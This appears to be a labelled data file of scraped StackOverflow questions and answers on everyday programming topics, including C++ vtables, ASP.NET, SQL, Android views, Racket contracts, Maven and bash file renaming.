1383672	0	 <p>If you declare virtual functions you should also declare your destructor virtual ;-).</p> <ol> <li><p>B has a virtual table, because it has a virtual function, namely <code>func0()</code>. If you declare a function (including a destructor) virtual in a base class, all its derived classes will have the function with same signature virtual as well. And it will cause them to have a vtable. Moreover, B would have the vtable even if you didn't declare <code>func0</code> in it explicitly.</p></li> <li><p>Non-virtual functions are not referenced through vtables.</p></li> <li><p>See 2.</p></li> <li><p>No. Classes' vtables are constructed based on class declarations. The bodies of class' functions (let alone other functions) are not taken into account. Therefore, B has a vtable, because its function <code>func0()</code> is virtual.</p></li> </ol> <p>There also is a tricky detail, although it's not the gist of your question. You declared your function <code>B::func0()</code> as inline. In <code>gcc</code> compiler, if a virtual function is declared inline, it retains its slot in virtual table, the slot pointing to a special function emitted for that inline one (that counts as taking its address, which makes the inline emitted). That means, whether the funciton is inline doesn't influence amount of slots in vtable and its necessity for a class.</p>
9058066	0	Html Checkbox Disabled State is Difficult to Read <p>I have a checkbox created as follows:</p> <pre><code>&lt;td class="center"&gt;@Html.DisplayFor(modelItem =&gt; item.IsBusinessHours)&lt;/td&gt; </code></pre> <p>It renders as the following html:</p> <pre><code>&lt;input disabled="disabled" class="check-box" type="checkbox" CHECKED="checked"/&gt; </code></pre> <p>My problem is that the check in the box is very hard to read in this disabled state. </p> <p>I would like to know the best way to style the checkbox to make it appear like the non-disabled checkbox (or otherwise make it more readable). However I still want the checkbox to be read only. </p> <p>My project uses Asp.Net MVC, jQuery and jQuery-UI.</p>
35277778	0	 <p>Yes, you can use CKEditor, but when I implemented the CKEditor on a form, it turns out it is quite limited in the functionality in provides. Also, the HTML it generates leaves much to be desired. So, I tried a similar idea to Pavel's but using a backing field to store the actual HTML using <a href="https://www.tinymce.com/" rel="nofollow">TinyMCE</a>. You can find the code here:</p> <ol> <li><a href="https://xrmtinymce.codeplex.com/SourceControl/latest#xrmtinymce/app.js" rel="nofollow">Javascript</a> </li> <li><a href="https://xrmtinymce.codeplex.com/SourceControl/latest#xrmtinymce/index.html" rel="nofollow">HTML</a></li> <li><a href="https://xrmtinymce.codeplex.com/" rel="nofollow">Documentation</a></li> </ol> <p>I have package my solution as a managed and unmanaged CRM solution that can be imported and utilised on any form. Moreover, it works on both CRM 2013 and CRM 2015</p>
12066949	0	 <p>In solr, if you use dismax or edismax query parser, you can use payloads. We did this whit good results in solr 3.6. As a starting point I recomand: <a href="http://searchhub.org/dev/2009/08/05/getting-started-with-payloads/" rel="nofollow">solr payload</a> and: <a href="http://digitalpebble.blogspot.ro/2010/08/using-payloads-with-dismaxqparser-in.html" rel="nofollow">solr paylaod 2</a> Hope that will help.</p>
13647385	0	 <p>You are looking for software that allows you to do bytecode manipulation, there are several frameworks to achieve this, but the two most known currently are:</p> <ul> <li><a href="http://asm.ow2.org/" rel="nofollow">ASM</a></li> <li><a href="http://www.javassist.org" rel="nofollow">javassist</a></li> </ul> <p>When performing bytecode modifications at runtime in Java classes keep in mind the following:</p> <ul> <li><p>If you change a class's bytecode after a class has been loaded by a classloader, you'll have to find a way to reload it's class definition (either through classloading tricks, or using hotswap functionalities)</p></li> <li><p>If you change the classes interface (example add new methods or fields) you will be able only to reach them through reflection.</p></li> </ul>
30946007	1	Java Finalize Method similar in python <p>I want to determine how can we determine if an object goes out of scope and perform some operations when object goes out of scope </p> <p>In java we have a finalize method which is called by JVM when an object has no more references.</p> <p>I am very new to the python world and want to determine if there is any similar way like Java Finalize where we can perform some operations before and object is destroyed or there are no more references to the object </p>
16037327	0	Using JSch with eclipse (Android project) <p>I am using JSch with my Android project in eclipse and I am having one small problem. When I try to get the baloon popup documentation (tooltips) in the editor for JSch functions, all I ever get is (for example):</p> <pre><code>void com.jcraft.jsch.Session.disconnect() Note: This element neither has attached source nor attached Javadoc and hence no Javadoc could be found. </code></pre> <p>No documentation about the command, what errors it can throw, etc.</p> <p>I tried adding the javadocs into the project, but either I did it wrong, or there is something wrong with the format of the javadocs.</p> <p>I've imported classes before and I have always seen the tips pop up, but not with JSch. How do I get more documentation in the editor for the JSch library?</p>
27301412	0	 <p>Depending on how TEXT is defined, the final value might be truncated and then, depending on the client you use to run the query, you may never know about that.</p> <p>Try casting <code>TEXT</code> to a longer <code>VARCHAR</code>, e.g.</p> <pre><code>WITH rquery (category, sequence, sentence) AS (SELECT base.category, base.sequence, CAST( base.text AS VARCHAR(100)) FROM myTable base ... </code></pre> <p>The resulting data type of <code>sentence</code> must be large enough to fit the longest possible concatenation of <code>text</code>s.</p>
38886101	0	 <p>Try passing the contents of your $data variable through the urldecode function:</p> <pre><code>$data = urldecode(json_decode($_POST['data'])); </code></pre>
32178398	0	Linux rename command but for dynamic values <p>I have files on a Linux server for example:</p> <pre><code>2103acc.001.lob 2507acc.002.lob 2222acc.021.lob 1210acc.051.lob </code></pre> <p>I would like to change them to:</p> <pre><code>2103acc.pdf 2507acc.pdf 2222acc.pdf 1210acc.pdf </code></pre> <p>I cannot performo</p> <pre><code>rename .001.lob .pdf *.lob </code></pre> <p>because those are dynamics number</p> <p>Can someone write me the solution? Thanks</p>
5899088	0	what is the code to Sync android phone with gmail contact <p>How do we Sync android phone with gmail contact. please if possible provide me the code. Thanks in Andvance</p>
11598523	0	Racket module contract confuse me <p>the module: test-define.rkt</p> <pre><code>#lang racket (provide test) (provide (contract-out [add-test! (-&gt; void)])) (define test 0) (define (add-test!) (set! test (add1 test))) </code></pre> <p>the main program:act.rkt</p> <pre><code>#lang racket (require "test-define.rkt") (printf "~a~%" test) (add-test!) (printf "~a~%" test) </code></pre> <p>run the act.rkt, I get:</p> <pre><code>0 1 </code></pre> <p>this is what I want.</p> <p>But if I change the contract in test-define.rkt:</p> <pre><code>(provide test) </code></pre> <p>change to </p> <pre><code>(provide (contract-out [test integer?])) </code></pre> <p>then I run the act.rkt again, I get:</p> <pre><code>0 0 </code></pre> <p>Why? I can't change the test value.</p> <p>If I provide a get func, it turns normal again.</p> <pre><code>(provide (contract-out [get-test (-&gt; integer?)])) (define (get-test) test) </code></pre> <p>If test's type change to hash map, it's always normal.</p> <p>What I missed?</p>
11433366	0	The relative virtual path "WebSite3" is not allowed here <pre><code>Configuration rootWebConfig = WebConfigurationManager.OpenWebConfiguration("/WebSite3"); </code></pre> <p>My project name is WebSite3, however when i try running the code, i get the relative virtual path "WebSite3"is not allowed here.</p>
7970853	0	Does a row take up memory based on the size of its declared columns, even if the fields are null? <p>I'm curious if I declare a column to be, say, varchar(5000) and then start creating rows, but leaving that column with null values, how is memory allocated? Is the DB growing by 5000 bytes for every row? Or does it wait to allocate memory until a value actually is set? </p>
4632978	0	 <p>The CheckedChanged event occurs after the checkbox is checked or unchecked.</p> <pre><code>Private Sub CheckBox1_CheckedChanged(ByVal sender As Object, ByVal e As EventArgs) Handles CheckBox1.CheckedChanged MsgBox(CheckBox1.Checked) End Sub </code></pre>
31613621	0	 <p>This should return the third digit that of a number!</p> <pre><code>cout &lt;&lt; "Enter an integer"; int number; cin &gt;&gt; number; int n = number / 100 % 10 </code></pre> <p>Or (for all digits):</p> <pre><code> int number = 12345; int numSize = 5; for (int i=numSize-1; i&gt;=0; i--) { int y = pow(10, i); int z = number/y; int x2 = number / (y * 10); printf("%d-",z - x2*10 ); } </code></pre>
19482261	0	 <p>Just use <code>std::find</code>:</p> <pre><code>bool bag::find(std::string item) { return std::find(arr, arr + 5, item) != &amp;arr[5]; } </code></pre> <p>I'm assuming <code>arr</code> is a C-style array until you say otherwise.</p>
37121430	0	Make a SQL query with the WHERE clause accepting array <p>I have an array of six elements (<code>$categories = array('dinner','casual','wedding')</code>) and I would like to make a SQL query that would look like this:</p> <p><code>SELECT * FROM produts WHERE id = /* values of array $categories... eg. (dinner || casual || wedding) */ </code></p>
39651450	0	How to add dictionary when we long press a word in android webview. <p>I wish to implement dictionary option in android webview text when webview is showing article from any online publication. When we long press on any word, it shows the option for 'search', 'copy' etc. I wish if I can add one option for dictionary there so that user can access dictionary either installed in phone or online one. Also if option for adding specific dictionary within the application will do even better. I tried to search a lot but stuck there and couldnt get an implementation strategy. </p>
664151	0	 <p>To answer the question in your title, I would wrap the <code>SocketOutputStream</code> in a <code>BufferedOutputStream</code> in a <code>DataOutputStream</code> and use the latter's <code>writeInt()</code> method repeatedly. Or you could use <code>ObjectOutputStream</code> in place of <code>DataOutputStream</code>, and serialize the array: <code>objOutStream.writeObject(theArray)</code>. To read it in again on the other end, just wrap the <code>SocketInputStream</code> in (1) a <code>DataInputStream</code> and use <code>readInt()</code> repeatedly, or (2) a <code>ObjectInputStream</code> and use <code>readObject()</code>.</p> <p>(If you don't have to interoperate with other languages, <code>Object*Stream</code> is easier on you)</p>
26570325	0	What are RecyclerView advantages compared to ListView? <p>I just started using RecyclerView and I've seen it lack in a lot of features like header, footer, divider, list selector, now I have second thoughts about using it instead of ListView.</p> <p>What are the advantages and disadvantages of RecyclerView compared to ListView? Can it handle more complex views than ListView ?</p> <p>I've been using ListView till now and for a few, is it time to switch to RecyclerView or is it too soon now?</p>
19317676	0	How to fetch all the variants, of each products, with out fetching product name multiple time <p>I have 3 tables.</p> <p>"table_products" </p> <pre><code> product_id product_name 1 A 2 B 3 C 4 D 5 E </code></pre> <p>"table_varients"</p> <pre><code>variant_id variant_name 1 v1 2 v2 3 v3 4 v4 5 v5 </code></pre> <p>"table_product_varients"</p> <pre><code>product_id variant_id 1 1 1 2 1 3 2 3 2 4 3 1 3 4 4 1 5 1 5 2 </code></pre> <p>And i want result from select Query like this:</p> <pre><code>A - V1, V2, V3 B - V3, V4 C - V1, V4 D - V1 E - V1, V2 </code></pre> <p>Devesh</p>
35155904	0	 <p>The simplest and pretty much idiomatic way to do it would be:</p> <pre><code>QMap&lt;QString, QVector&lt;QString&gt;&gt; devices; // Get the vector constructed in the map itself. auto &amp; commands = devices[RadioID]; // Fill commands with lots of data here - a bit faster commands.resize(2); commands[0] = "Foo"; commands[1] = "Bar"; // Fill commands with lots of data here - a bit slower commands.append("Baz"); commands.append("Fan"); </code></pre> <p>You'll see this pattern often in Qt and other code, and it's the simplest way to do it that works equally well on C++98 and C++11 :)</p> <p>This way you're working on the vector that's already in the map. The vector itself is never copied. The members of the vector are copied, but they are implicitly shared, so copying is literally a pointer copy and an atomic reference count increment.</p>
18713652	0	 <p>The first thing to understand is why it keeps playing forever rather than just 0.2. You can see what's going on if you run the <code>Pbind</code> equivalent:</p> <pre><code> p = Pbind(\instrument, \default, \dur, 0.2, \freq, 400).play; </code></pre> <p>If you run this you don't just hear a single note, you hear the note being hit again and again forever, until you run</p> <pre><code> p.stop; </code></pre> <p>So why is that? It's because all of the "values" specified are simple numbers or symbols (<code>\default ... 0.2 ... 400</code>), and these are always interpreted as meaning "continue forever or until something else stops us".</p> <p>If you wanted Pbind to play just one note you would need to use at least one pattern in there which limits itself to just one item:</p> <pre><code> p = Pbind(\instrument, \default, \dur, 0.2, \freq, Pseq([400], 1)).play; </code></pre> <p>So you can do the same thing with Pmono:</p> <pre><code> p = Pmono(\default, \dur, 0.2, \freq, Pseq([400], 1)).play; </code></pre> <p>This has <em>exactly the same result</em> as the Pbind example, actually, but that's because it's playing only one note. We can make the difference a little bit clearer with these two-note examples:</p> <pre><code> p = Pbind(\instrument, \default, \dur, 0.4, \freq, Pseq([400, 500], 1)).play; p = Pmono(\default, \dur, 0.4, \freq, Pseq([400, 500], 1)).play; </code></pre> <p>The first plays two separate notes, the second plays one with a pitch change halfway through.</p> <p>So, note that your inference was correct - the node does get deleted after the Pmono terminates - but your Pmono was not terminating.</p>
738931	0	 <p>In case anyone ends up running into a similar situation, here was my solution: </p> <p>First to explain my datasets:</p> <pre><code>public Foo { string a; List&lt;Bar&gt; subInfo; } public Bar { string b; string c; } List&lt;Foo&gt; allFoos; </code></pre> <p>Basically instead of having the allFoos object that I passed to a master report, and then trying to pass the corresponding Bar object to the subReport, I created a new object:</p> <pre><code>Public FooBar { string a; string b; string c; } List&lt;FooBar&gt; allFooBars; </code></pre> <p>So basically I flattened the data. From there I created a single report. I added one table that had "FooBar" as it's DataSet, and passed in the collection of "allFooBars." I also created a footer on the report, so that I would have consistent paging across all pages. I then used grouping to keep "Foo" objects together. On the groups I set the "Page Break at start" and "Include Group Header" and "Repeat Group Header" options to true. Then I just set up the Group Headers to fake being my Page Headers along with group headers (basically just 5 lines of Group Headers, one of which was blank to provide some space).</p> <p>And that was basically it.</p>
4276285	0	Fusion Chart in ASP.Net <p>I am using fusion chart in my asp.net application. I want to use multiple fusion charts in a single page. But only one fusion chart is displayed.. Pls help me if any body knws about this problemm...</p> <p>Iam using an ashx file(handler) for creating xml.</p> <p>Advance thanks</p>
9281971	0	 <p>The issue is in the fact that by default images are vertically aligned with the baseline. You can see this if you put an image next to some text. The image aligns to the baseline of the text, while letters like g and y go below the baseline. The space you are getting is the space below the baseline which is for the letters to go below. If you change the <code>vertical-align</code> to <code>top</code> the space will disappear.</p> <p><a href="http://jsfiddle.net/YJZRE/" rel="nofollow">http://jsfiddle.net/YJZRE/</a></p> <pre><code>.artwork img { height: 100%; vertical-align: top; } </code></pre>
19472117	0	 <p>Basically, the idea is as follows:</p> <ol> <li><p>One of your pages checks whether the user knows the "secret". This is kind of authorization.</p></li> <li><p>Some other page(s) works only if the user has been authorized.</p></li> </ol> <p>It's obvious that information about successful authorization should be stored in some place, which is shared between various pages. There are a lot of ways to share information between pages.</p> <p>A) Session. Once the user has submitted the correct promo code, your authorizing page stores something in the Session collection. That could be just a flag indicating the fact of successful authorization, or that could be the promo code - if you would need its value later.</p> <p>Any other page can check what's stored (or not stored) in Session in the Page_Load handler and decide what to do then: continue or render an error, or redirect to another page. Note: sessions expire. What's you store there is forgotten when the session ends.</p> <p>B) Cookies. This way your information lasts as much time as you want - you set the expiry date. But since it's stored in the user's browser, there are disadvantages: the browser may refuse to store your cookies; the user may clear them.</p> <p>C) Database. If you want to make sure the user is authorized once and for ever, store this info in the database.</p>
1685340	0	 <p>Even if you won't be uploading it, build your application like a CPAN module.</p> <p>That basically means you have a Makefile.PL that describes the dependencies formally, and your application is in the script/ directory as myapplication (assuming it's a command line/desktop app).</p> <p>Then, someone can use the CPAN client to install your module and it's dependencies directly, but untarring the tarball and then running</p> <blockquote> <p>cpan .</p> </blockquote> <p>Alternatively, the pip tool will let people install your application from a remote URL directly.</p> <blockquote> <p>pip <a href="http://someserver.com/Your-Application-0.01.tar.gz" rel="nofollow noreferrer">http://someserver.com/Your-Application-0.01.tar.gz</a></p> </blockquote>
22361418	0	 <p>You can try <code>[self.myTextView sizeToFit];</code> and then see if it updates it for you.</p>
19978197	0	Gcdasynsocket did read data delegate dosent give correct tag value <p>I am using gcdasynsocket to establish socket communication. Below shown is the method that i am using to write the data</p> <pre><code>-(void)writeData:(NSData*)data withTag:(int)tag { [asyncSocket writeData:data withTimeout:-1.0 tag:tag]; [asyncSocket readDataWithTimeout:-1.0 tag:tag]; } - (void)socket:(GCDAsyncSocket *)sock didWriteDataWithTag:(long)tag { if (tag == 18) { NSLog(@"First request sent"); [asyncSocket readDataWithTimeout:-1.0 tag:18]; } else if (tag == 125) { NSLog(@"Second request sent"); [asyncSocket readDataWithTimeout:-1.0 tag:125]; } } </code></pre> <p>//reading the data</p> <pre><code>- (void)socket:(GCDAsyncSocket *)sock didReadData:(NSData *)data withTag:(long)tag { NSLog(@"tag---%ld",tag); } </code></pre> <p>In my did read data delegate i am not getting the tag value what i have passed. Since i am not getting the correct tag value. i couldnt read my another data. I am not sure what is going wrong here. Please help me to fix this issue</p>
15169786	0	 <p>Add in MSBuild .proj file:</p> <pre><code>&lt;Exec Command="icacls "\\xxx\MyApp.zip" /grant User:F" ContinueOnError="true" /&gt; </code></pre> <p>a sequence of simple rights: F - full access M - modify access RX - read and execute access R - read-only access W - write-only access</p>
10647829	0	 <p>In the string you prepare use:</p> <pre><code>"var fileUploadDic = { 'firstname': 'Jo\\'hn', 'lastname' : 'Macy' , 'country' : 'USA };" </code></pre> <p>Now client side that will look like:</p> <pre><code>var fileUploadDic = { 'firstname': 'Jo\'hn', 'lastname' : 'Macy' , 'country' : 'USA }; </code></pre> <p>If you want to replace <code>''</code> client side you can use <code>[varstr].replace(/''/g,"\\'")</code>, but I think client side will be too late (the Error is already thrown on arrival and interpretation of the sent string)</p>
31980211	0	Building & using ZeroMQ with Visual Studio <p>Anyone out there successfully building/using ZeroMQ under Windows (MSVC)? </p> <p>I'm trying to build/use the current master in GitHub (<a href="https://github.com/zeromq/libzmq" rel="nofollow">https://github.com/zeromq/libzmq</a>) which has Visual Studio projects as well as CMake files. I've built the CMake project (after fixing some issues in the MSVC specific stuff) which also builds all the tests but the tests fail the same way my simple test program does.</p> <p>The first call to WinSock select() always results in WSAENOTSOCK and the app bails. I've now tried this on a 64bit Win7 and Win8 machines with both VS2010 and VS2013 for debug and release builds with no luck :(</p> <p>I get similar aborts when trying to build against the pre-built binaries on the ZeroMQ site or building my own with the included Visual Studio project directories they include in the repository.</p>
33381765	0	 <p>Have you seen this post recommending the use of section?</p> <p><a href="http://stackoverflow.com/questions/7175398/maven-dependency-resolution-conflicted">Maven dependency resolution (conflicted)</a></p> <p>In short you specify the version you want once in a parent/top-level project and then declare the dependency <strong>without version</strong> in the other projects.</p> <p>EDIT: Does this blog post help? <a href="http://blog.mafr.de/2014/08/30/maven-discovering-dependency-conflicts/" rel="nofollow">http://blog.mafr.de/2014/08/30/maven-discovering-dependency-conflicts/</a></p> <p>It includes a clever command line invocation that lists dependencies in a project via "mvn dependency" and extracts the lines with conflicts.</p> <pre><code>mvn dependency:tree -Dverbose | grep --color=always '(.* conflict\|^' | less -r </code></pre>
12746471	0	 <p>I believe this does what you want:</p> <pre><code>SlopeInterceptDemonstration[{mmin_, mmax_}, {bmin_, bmax_}] := Manipulate[ Plot[m*x + b, {x, xmin, xmax}, AspectRatio -&gt; 1, PlotRange -&gt; {xmin, xmax}], {{m, mmin, "m"}, mmin, mmax, 0.1}, {{b, bmin, "b"}, bmin, bmax, 0.1}, {xmax, None}, {xmin, None}, Initialization :&gt; {xmax = Max[Abs[bmin + mmin], Abs[bmax + mmax]]*1.2, xmin = -xmax} ] </code></pre> <p><code>{xmax, None}</code> is used to localize <code>xmax</code> in the Module. The method with <code>DynamicModule</code> shown in the other answer is standard and more flexible.</p>
32419613	0	Modifying Cypher Query Engine <p>I would like to modify the way Cypher processes queries sent to it for pattern matching. I have read about Execution plans and how Cypher chooses the best plan with the least number of operations and all. This is pretty good. However I am looking into implementing a Similarity Search feature that allows you to specify a Query graph that would be matched if not exact, close (similar). I have seen a few examples of this in theory. I would like to implement something of this sort for Neo4j. Which I am guessing would require a change in how the Query Engine deals with queries sent to it. Or Worse :)</p> <p>Here are some links that demonstrate the idea</p> <p><a href="http://www.cs.cmu.edu/~dchau/graphite/graphite.pdf" rel="nofollow">http://www.cs.cmu.edu/~dchau/graphite/graphite.pdf</a> <a href="http://www.cidrdb.org/cidr2013/Papers/CIDR13_Paper72.pdf" rel="nofollow">http://www.cidrdb.org/cidr2013/Papers/CIDR13_Paper72.pdf</a></p> <p>I am looking for ideas. Anything at all in relation to the topic would be helpful. Thanks in advance</p> <p>(:I)&lt;-[:NEEDING_HELP_FROM]-(:YOU)</p>
39253154	0	 <p>You need to calculate the classification accuracy on the validation-set and keep track of the best one seen so far, and only write the checkpoint once an improvement has been found to the validation accuracy.</p> <p>If the data-set and/or model is large, then you may have to split the validation-set into batches to fit the computation in memory.</p> <p>This tutorial shows exactly how to do what you want:</p> <p><a href="https://github.com/Hvass-Labs/TensorFlow-Tutorials/blob/master/04_Save_Restore.ipynb" rel="nofollow">https://github.com/Hvass-Labs/TensorFlow-Tutorials/blob/master/04_Save_Restore.ipynb</a></p> <p>It is also available as a short video:</p> <p><a href="https://www.youtube.com/watch?v=Lx8JUJROkh0" rel="nofollow">https://www.youtube.com/watch?v=Lx8JUJROkh0</a></p>
20547472	0	 <p>Note that: basicAuth is deprecated</p> <p>Here the code:</p> <pre><code>app.use(express.basicAuth(function(user, pass, callback){ if(config.credentials.clients[user] === undefined) { callback('user not found!!!'); } else { if(config.credentials.clients[user].password === pass) { callback(null, config.credentials.clients[user]); } else { callback('wrong pass!!!'); } } }); app.post('/put', function putEvents(req, res) { console.log(req.user.name) res.end(); }); </code></pre>
14636733	1	web2py insert on duplicate key update <p>How to use DAL in web2py to perform INSERT ... ON DUPLICATE KEY UPDATE. I have not found it in the <a href="http://web2py.com/books/default/chapter/29/06#insert" rel="nofollow">manual</a>.</p>
22603692	0	 <p>gpg -c ... -u [signing user id or key hex id] ...</p>
10620023	0	WPF VisualBrush stretches instead of tileing <p>I've got a VisualBrush on which I've set the TileMode property to Tile.</p> <p>However, it doesn't tile - it stretches. Can anyone assist please?</p> <p>Thanks</p> <pre><code>&lt;UserControl xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:d="http://schemas.microsoft.com/expression/blend/2008" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="d" x:Class="test" x:Name="UserControl" d:DesignWidth="500" d:DesignHeight="500"&gt; &lt;UserControl.Resources&gt; &lt;VisualBrush x:Key="MyBrush" TileMode="Tile"&gt; &lt;VisualBrush.Visual&gt; &lt;Grid Width="20"&gt; &lt;Ellipse Fill="#FF00EBFF" Stroke="Black" StrokeThickness="2" Width="20" Height="20" RenderTransformOrigin="0.5,0.5" &gt; &lt;/Ellipse&gt; &lt;/Grid&gt; &lt;/VisualBrush.Visual&gt; &lt;/VisualBrush&gt; &lt;/UserControl.Resources&gt; &lt;Grid x:Name="LayoutRoot" &gt; &lt;Grid Background="{StaticResource MyBrush}" /&gt; &lt;/Grid&gt; &lt;/UserControl&gt; </code></pre>
25604012	0	jaxrs - error throws in interceptor return status 500 <p>I'm bulid rest api using jax-rs. To handle authentication I'm using Interceptor. When auth failed I return WebApplicationException like:</p> <pre><code>try { Authentication authentication = authenticationManager .authenticate(new UsernamePasswordAuthenticationToken(policy.getUserName(), policy.getPassword())); SecurityContext securityContext = SecurityContextHolder.getContext(); securityContext.setAuthentication(authentication); } catch (AuthenticationServiceException | BadCredentialsException e) { throw new WebApplicationException(Response.Status.UNAUTHORIZED); //TODO set response status } </code></pre> <p>but it returns startus 500 instead 401.</p> <p>When i throw WebApplicationExceptions in services it return statuses that I set but in interceptor it didn't worked. How to return 401 from interceptor?</p> <p>jaxrs:server config:</p> <pre><code>&lt;jaxrs:server id="restService" address="/rest"&gt; &lt;jaxrs:serviceBeans&gt; &lt;ref bean="serviceBean"/&gt; &lt;/jaxrs:serviceBeans&gt; &lt;jaxrs:inInterceptors&gt; &lt;ref bean="securityInterceptor"/&gt; &lt;/jaxrs:inInterceptors&gt; &lt;/jaxrs:server&gt; &lt;bean id="serviceBean" class="some_package.CustomerService"/&gt; &lt;bean id="securityInterceptor" class="some_package.AuthenticatorInterceptor"/&gt; </code></pre>
11821386	0	 <p>From the <a href="http://docs.jquery.com/Is" rel="nofollow">jQuery documentation for <code>is</code></a>.</p> <blockquote> <p>Checks the current selection against an expression and returns true, if at least one element of the selection fits the given expression.</p> <p>If no element fits, or the expression is not valid, then the response will be 'false'.</p> </blockquote> <p>So you can be sure the answer will either be <code>true</code> or <code>false</code>.</p>
7819883	0	 <p>Add a dot <code>.</code> after the <code>localhost</code>.</p> <p>For example if you had <strong>http://localhost:24448/HomePage.aspx</strong></p> <p>Change it to <strong>http://localhost.:24448/HomePage.aspx</strong></p> <p>Internet Explorer is bypassing the proxy server for "localhost". With the dot, the "localhost" check in the domain name fails.</p>
36081919	0	 <p><strong>1.</strong> <strong>Should I be considering flushing the cache from time to time?</strong></p> <p>No. Because $cacheFactory will destroy all the data once the session has been closed. Or if you want to flush manually then you can use destroy method.<br/><br/> <strong>destroy()</strong> - Removes references to this cache from $cacheFactory.</p> <p><strong>removeAll()</strong> - Removes all cached values.</p> <p><strong>2. I can cache all my API responses?</strong></p> <p>This is possible in two ways as follows.</p> <ol> <li>$localStorage - If your goal is to store client-side and persistent data.</li> <li>$cacheFactory - Data exist only for current session.</li> </ol>
17967296	0	 <p>You haven't specified the IE version you're testing with, but your code appears to work fine in IE9 and higher, so I'm going to assume you're testing in IE8.</p> <p>Given that, there are is one main problem I can see that will be breaking your site:</p> <p><code>&lt;nav&gt;</code> and other new HTML5 elements are not supported as standard by IE8 or earlier. Using them will break your layout and cause other glitches.</p> <p>You have two options: Either replace the <code>&lt;nav&gt;</code> and any other HTML5 elements with old-style <code>&lt;div&gt;</code> elements, or use a polyfill like <a href="http://code.google.com/p/html5shiv/" rel="nofollow">html5shiv</a> or <a href="http://modernizr.com/" rel="nofollow">Modernizr</a>, both of which will fix the problem in IE8 and make these elements work as normal.</p> <p>Hope that helps.</p> <p><strong>[EDIT after OP clarified his IE version as IE10]</strong></p> <p>The other possibility is that it's displaying the page in compatibility mode or quirks mode.</p> <p>You can check the browser mode by pressing F12 to bring up the Dev Tools window; the mode information will be shown at the top of the window. If it's in either Quirks mode or compatibility mode (ie if it's in anything other than IE10 Standards mode) then there's a strong probability that this is the cause.</p> <p>If it's in quirks mode, it's because your HTML isn't standards compliant. Most of the time, adding a valid doctype to the top of the page will fix this (you can use <code>&lt;!DOCTYPE html&gt;</code> as the easiest valid doctype). You should also check for other errors in your HTML by running it through the <a href="http://validator.w3.org" rel="nofollow">W3C Validator</a> and fixing the errors it reports. (if the code you've posted is your whole code, then you're missing the <code>&lt;html&gt;</code> and <code>&lt;body&gt;</code> tags for starters, which is definitely not good).</p> <p>If it's in compatibility mode (eg "IE7 Standards"), then you can fix this by adding an <code>X-UA-Compatible</code> meta tag to your <code>&lt;head&gt;</code> section. (see <a href="http://stackoverflow.com/questions/12149353/why-does-webpage-display-in-ie8-browser-mode-and-ie7-document-mode/12149504#12149504">my answer here</a> for more info on why this might be happening and what to do to fix it).</p>
258758	0	 <p>There's no timeout that I'm aware of on .bat or .cmd files. However, there may be on the process that's launching it? How are you launching it?</p>
1625563	0	 <p>This is the first thing I'd try:</p> <p><img src="http://img.skitch.com/20091026-ek3id5s121wqrsiu8apwm4qgir.png" alt="alt text"></p> <p>Wait until it doesn't say "Getting" anywhere anymore before doing anything documentation related. </p>
21130927	0	check number of child of current category magento <p>in magento ,check number of sub category of current category in category page</p> <pre><code>$cat = Mage::getModel('catalog/category')-&gt;getCollection()-&gt;load($id); </code></pre> <p>$subcats = $cat->getChildren();</p> <p>by using this code we have get chil category but we want to check number of sub category of current category in magento</p>
30746468	0	 <p>You can create a form around the delete button. This will not add anything to the page visually.</p> <p>For example:</p> <pre><code>{{ Form::open(['url' =&gt; 'foo/bar', 'method' =&gt; 'delete', 'class' =&gt; 'deleteForm']) }} &lt;input type="submit" class="deleteBtn" /&gt; {{ Form::close() }} </code></pre> <p>The Laravel Form helper automatically spoofs the form and adds the hidden field for the <code>DELETE</code> method.</p> <p>Then you can style the button using the <code>.deleteBtn</code> class. If the button needs to be positioned inline, you can even assign a <code>display: inline;</code> property to the <code>.deleteForm</code> class.</p>
10826982	0	 <p>Aside from the other good examples of how to use Core Location, also keep in mind the general technique for getting good kinematics results from a not-so-great sensor (e.g. smartphone location services) of <a href="http://en.wikipedia.org/wiki/Kalman_filter" rel="nofollow">Kalman Filtering</a>.</p> <p>It's a lot of math and testing and tweaking, but it does allow you to get what users would consider better results than simple data from the sensor provides.</p> <p>This is what's used in avionics and things like radar processing systems.</p>
22544374	0	 <p>If your lines are strings you can do something like this</p> <pre><code>List&lt;String&gt; a = new ArrayList&lt;&gt;(Arrays.asList(new String[] { "1 2 3", "3 4 5 6", "1 2 4 5 7", "8", "7", "1 2 4" })); List&lt;String&gt; b = new ArrayList&lt;&gt;(Arrays.asList(new String[] { "7", "3 4 5 6", "1 2 4 5 7", "1 2 3", "8", "1 2 4" })); if (a.size() == b.size()) { a.removeAll(b); if (a.isEmpty()) System.out.println("A and B are the same sets"); } </code></pre>
3664454	0	 <p>Under System>Transactional Emails, you can modify the Newsletter Subscription Success message including subject, and then assign your modified email in System>Configuration>Customers>Newsletter>Success Email Template from the drop-down</p>
30330734	0	 <p>When you load in a <code>File</code> in the <code>open</code> JButton <code>ActionListener</code>, the code creates a new <code>TableModel</code> and sets the <code>JTable</code> model:</p> <pre><code>MyModel NewModel = new MyModel(); table.setModel(NewModel); </code></pre> <p>The <code>NewModel</code> instance is local to this method, thus any changes to the instance variable <code>model</code> will not be reflected in the <code>JTable</code> (in other words, <code>model != table.getModel()</code>). Instead of creating a local variable, set the instance variable to the new model. For example: </p> <pre><code>model = new MyModel();//sets the instance variable to the new model table.setModel(NewModel); </code></pre> <p>In this way, whenever code refers to <code>model</code>, it is acting on the current <code>TableModel</code> of the <code>JTable</code>. Alternatively, when making changes to the <code>TableModel</code>, you can get the model directly from the <code>JTable</code>, casting if necessary:</p> <pre><code>remove.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { int row = table.getSelectedRow(); MyModel myModel = (MyModel)table.getModel();//get the model directly if (row!=-1) myModel .deleteRow(row); } }); </code></pre>
7119223	0	File name without extension in bash for loop <p>In a for loop like this one:</p> <pre><code>for f in `ls *.avi`; do echo $f; ffmpeg -i $f $f.mp3; done </code></pre> <p>$f will be the complete filename, including the extension. For example, for song1.avi the output of the command will be song1.avi.mp3. Is there a way to get only song1, without the .avi from the for loop?</p> <p>I imagine there are ways to do that using awk or other such tools, but I'm hoping there's something more straight forward.</p> <p>Thanks</p>
9958894	0	 <p>Use an array:</p> <pre><code>String files[] = new String[]{"Hello", "Hola", "Bonjour"}; for (String file : files) { System.out.println(file); } </code></pre>
